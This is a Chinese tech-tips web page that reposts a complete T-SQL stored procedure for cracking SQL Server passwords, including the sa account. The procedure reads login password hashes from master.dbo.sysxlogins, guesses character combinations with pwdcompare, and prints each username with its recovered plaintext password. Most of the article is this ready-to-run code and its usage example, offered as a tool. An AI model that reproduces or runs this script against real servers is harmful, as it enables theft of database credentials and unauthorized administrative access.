商城 设为首页注册本站  论坛  繁體中文

慧民电脑芯片级维修-电脑技巧
手机 | MP3 | MP4 | 显卡 | 主板 | 显示器 | 光存储 | 笔记本 | 网络设备 | 移动存储 | 数码相机
键鼠 | CPU | 音箱 | GPS | 电视 | 服务器 | 投影机 | 机箱电源 | 品牌电脑 | 办公打印 |
| 网站首页 | Cisco | Windows | Linux | Java | Dotnet | Oracle | 网页设计 | 平面设计 | 安全 | 软件应用 | 电脑维修 | 办公维修 |
您现在的位置: 电脑技巧 >> Windows >> 服务器技术 >> SQL Server >> Windows正文

存储过程实例:SQL Server Sa密码破解

文章来源:网页教学网 作者:佚名 更新时间:2008-10-8 13:53:08 【 】 【加入收藏
  一个SQL Server Sa密码破解的存储过程:

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)

drop procedure [dbo].[p_GetPassword]

GO

/*--穷举法破解 SQL Server 用户密码

可以破解中文,特殊字符,字符+尾随空格的密码

为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII

理论上可以破解任意位数的密码

条件是你的电脑配置足够,时间足够

/*--调用示例

exec p_GetPassword

--*/

create proc p_GetPassword

@username sysname=null, --用户名,如果不指定,则列出所有用户

@pwdlen int=2 --要破解的密码的位数,默认是2位及以下的

as

set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end

select top 255 id=identity(int,0,1) into #t from syscolumns

alter table #t add constraint PK_#t primary key(id)

select name,password

,type=case when xstatus&2048=2048 then 1 else 0 end

,jm=case when password is null then 1 else 0 end

,pwdstr=cast('' as sysname)

,pwd=cast('' as varchar(8000))

into #pwd

from master.dbo.sysxlogins a

where srvid is null

and name=isnull(@username,name)

declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)

declare @l int

select @l=0

,@s1='char(aa.id)'

,@s2='cast(aa.id as varchar)'

,@s3=',#t aa'

exec('

update pwd set jm=1,pwdstr='+@s1+'

,pwd='+@s2+'

from #pwd pwd'+@s3+'

where pwd.jm=0

and pwdcompare('+@s1+',pwd.password,pwd.type)=1

')

while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)

begin

select @l=@l+1

,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'

,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'

,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)

exec('

update pwd set jm=1,pwdstr='+@s1+'

,pwd='+@s2+'

from #pwd pwd'+@s3+'

where pwd.jm=0

and pwdcompare('+@s1+',pwd.password,pwd.type)=1

')

end

select 用户名=name,密码=pwdstr,密码ASCII=pwd

from #pwd

go

  • 上一篇Windows:

  • 下一篇Windows:
  • 最 新 热 门
     低配置电脑如何优化Vista系统运行如飞似XP
     安全修改注册表默认响应方式
     禁用Vista下的硬盘监控任务栏警告
     巧用GhostEXP 将补丁加入GHO文件
     windows运行中几个特殊的执行命令
     技巧:用MSDaRT解决Vista启动故障
     XP中一人远程管理关机好方法
     一次简单修改 让WinRAR解压缩速度更快
     彻底禁用暴风顽固进程 让系统清爽起来
     通吃主流格式 让系统图片查看器更完美
    最 新 推 荐
     您的SQL Server应用程序查询正在浪费内存吗…
     SQL Server服务器内存升级后的烦恼
     SQL大型事务日志备份与修复问题
     如何更好的管理一台服务器上的多个数据库?
     免费SQL注入扫描程序
     SQL Server 2005的output子句用法
     解决SQL Server不允许进行远程连接
     SQL Server 2005混合模式登录配置
     使用SQL Server中COALESCE()函数的方法
     SQL Server对上亿表的排序和join的问题解决
    相 关 文 章

    域用户的登录过程和GC的关系
    优化存储资源 微软规划虚拟基础结构工具简介
    组策略彻底禁止USB等存储设备
    Windows Vista系统开机启动过程完全揭秘
    Windows 7 安装过程初体验
    使用存储过程的5个好处
    掌握SQL中的存储过程
    基于Windows入门级IDS构建过程详述
    SQL Server存储过程入门案例详解
    让Vista系统只识别你指定的USB存储设备

    | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 网站公告

      Copyright 2006-2008 pcjx.com All Rights Reserved
    电脑技巧 版权所有 粤ICP备06059145号 地图
    门市地址:广东省佛山市南海区黄岐黄海路133号
    本网站所有内容未经许可不得转载或做其他使用
    电话:0757-81139980 QQ:83306923